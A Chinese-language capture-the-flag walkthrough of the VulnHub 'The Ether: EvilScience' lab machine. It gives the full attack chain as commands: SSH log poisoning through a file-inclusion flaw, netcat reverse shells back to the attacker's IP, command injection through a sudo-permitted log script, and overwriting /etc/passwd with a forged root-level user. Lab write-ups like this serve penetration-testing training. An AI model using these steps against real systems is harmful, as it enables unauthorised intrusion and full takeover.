1. 程式人生 > 實用技巧 >evalsciencet靶機通關筆記

evalsciencet靶機通關筆記

前言

好久沒打靶機了,這次找了一個還挺好玩的靶機,順便寫下筆記。

環境準備

靶機下載地址:https://www.vulnhub.com/entry/the-ether-evilscience-v101,212/

本地作為攻擊方:192.168.199.119

靶機:未知具體ip (由於靶機用的是NAT模式),可以確定的是在192.168.199.0/24內。

資訊收集

先確定靶機ip

# nmap -sP 192.168.1.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-02 16:31 ?D1ú±ê×?ê±??
Nmap scan report for 192.168.1.1
Host is up.
Nmap scan report for 192.168.1.131
Host is up (0.0010s latency).
MAC Address: 00:0C:29:26:01:D6 (VMware)
Nmap scan report for 192.168.1.254
Host is up (0.00s latency).
MAC Address: 00:50:56:EF:D7:EB (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 31.83 seconds

掃描埠

# nmap -p- -A 192.168.1.131
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-02 16:38 ?D1ú±ê×?ê±??
Nmap scan report for 192.168.1.131
Host is up (0.00063s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 12:09:bc:b1:5c:c9:bd:c3:ca:0f:b1:d5:c3:7d:98:1e (RSA)
|   256 de:77:4d:81:a0:93:da:00:53:3d:4a:30:bd:7e:35:7d (ECDSA)
|_  256 86:6c:7c:4b:04:7e:57:4f:68:16:a9:74:4c:0d:2f:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: The Ether
MAC Address: 00:0C:29:26:01:D6 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.63 ms 192.168.1.131

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.82 seconds

開放了22和80埠,emm大概就這些。

測試

首先先從web入手,開啟頁面http://192.168.1.131:80
![img](/image

翻閱後發現了一處疑似有檔案包含的地方

於是測試各種常見包含路徑,但是沒有什麼進展。

再測下能否遠端包含,在伺服器上放了一個info.php,內容為phpinfo();

但是也沒什麼變化。

接下來直接上fuzz大法,字典用SecLists中的檔案包含字典LFI-Jhaddix.txt

burp抓包後丟intruder

發現了幾個返回長度不一樣的包含路徑

逐一訪問後,發現除了/var/log/auth.log直接重定向到index.php,其他都是包含了一堆亂碼,沒什麼用。

抓包訪問包含/var/log/auth.log

既然能包含日誌檔案,那我們可以嘗試向日志文件寫入php程式碼,然後利用包含來執行getshell

通過ssh連線的使用者名稱來寫入日誌檔案

$ ssh ''@192.168.1.131
@192.168.1.131's password:
Permission denied, please try again.

執行命令ls試試

執行成功了,說明已經包含成功且執行了。

後面試了直接寫了個一句話,但是菜刀蟻劍都連不上,可能是php版本或者其他原因。。

還是直接nc反彈吧,本地先開啟nc監聽

# nc -lvp 999
listening on [any] 999 ...

加上引數 exec=/bin/nc -e /bin/bash 192.168.199.119 999

再加上url編碼

沒有反彈成功

看了下大佬的wp,說可能是因為版本的原因,-e引數沒有識別成功導致不能執行

於是試下沒有-e引數的命令

mknod backpipe p && nc 192.168.199.119 999 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc 192.168.199.119 999
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.199.119 999 0/tmp/

編碼後測試第一條就可以了

# nc -lvp 999
listening on [any] 999 ...
connect to [192.168.199.119] from DESKTOP-6GE3653.lan [192.168.199.119] 10140
ls
1.php
2.php
about.php
backpipe
images
index.php
layout
licence.txt
research.php
xxxlogauditorxxx.py

提權

先檢視下當前使用者

whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

sudo -l 檢視當前許可權

sudo -l
Matching Defaults entries for www-data on theEther:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on theEther:
    (ALL) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
    (root) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py

能夠執行xxxlogauditorxxx.py無需密碼

嘗試執行

sudo ./xxxlogauditorxxx.py
sudo ./xxxlogauditorxxx.py

===============================
Log Auditor
===============================
Logs available
-------------------------------
/var/log/auth.log
/var/log/apache2/access.log
-------------------------------

Load which log?:

輸入/var/log/auth.log看看有什麼

/var/log/auth.log
Jun  2 22:03:01 theEther sshd[1472]: Invalid user v1nt from 192.168.1.1
Jun  2 22:03:01 theEther sshd[1472]: input_userauth_request: invalid user v1nt [preauth]
Jun  2 22:03:04 theEther sshd[1472]: pam_unix(sshd:auth): check pass; user unknown
Jun  2 22:03:04 theEther sshd[1472]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.1

發現可以命令執行,並且許可權比www-data大

嘗試邏輯或執行命令 /var/log/auth.log|whoami

Load which log?: /var/log/auth.log|whoami
www-data

成功執行了,檢視下/etc/passwd

Load which log?: /var/log/auth.log|cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

也能成功執行。接著偽造/etc/passwd提權

openssl passwd -1 -salt vint abc123 #該命令用於生成hash,-1表示用MD5基於BSD的金鑰演算法。使用者名稱為vint,密碼是abc123

在原來的passwd加上,放到伺服器上

然後wget下載,再覆蓋掉原來的passwd

wget http://xxx.xxx.xxx.xxx:8081/passwd
ls
1.php
2.php
about.php
backpipe
images
index.php
layout
licence.txt
passwd
research.php
xxxlogauditorxxx.py

再覆蓋掉原來的passwd

Load which log?: /var/log/auth.log | cp passwd /etc/passwd

再檢視passwd

新增成功了。

最後切換到我們建立的使用者就可以了。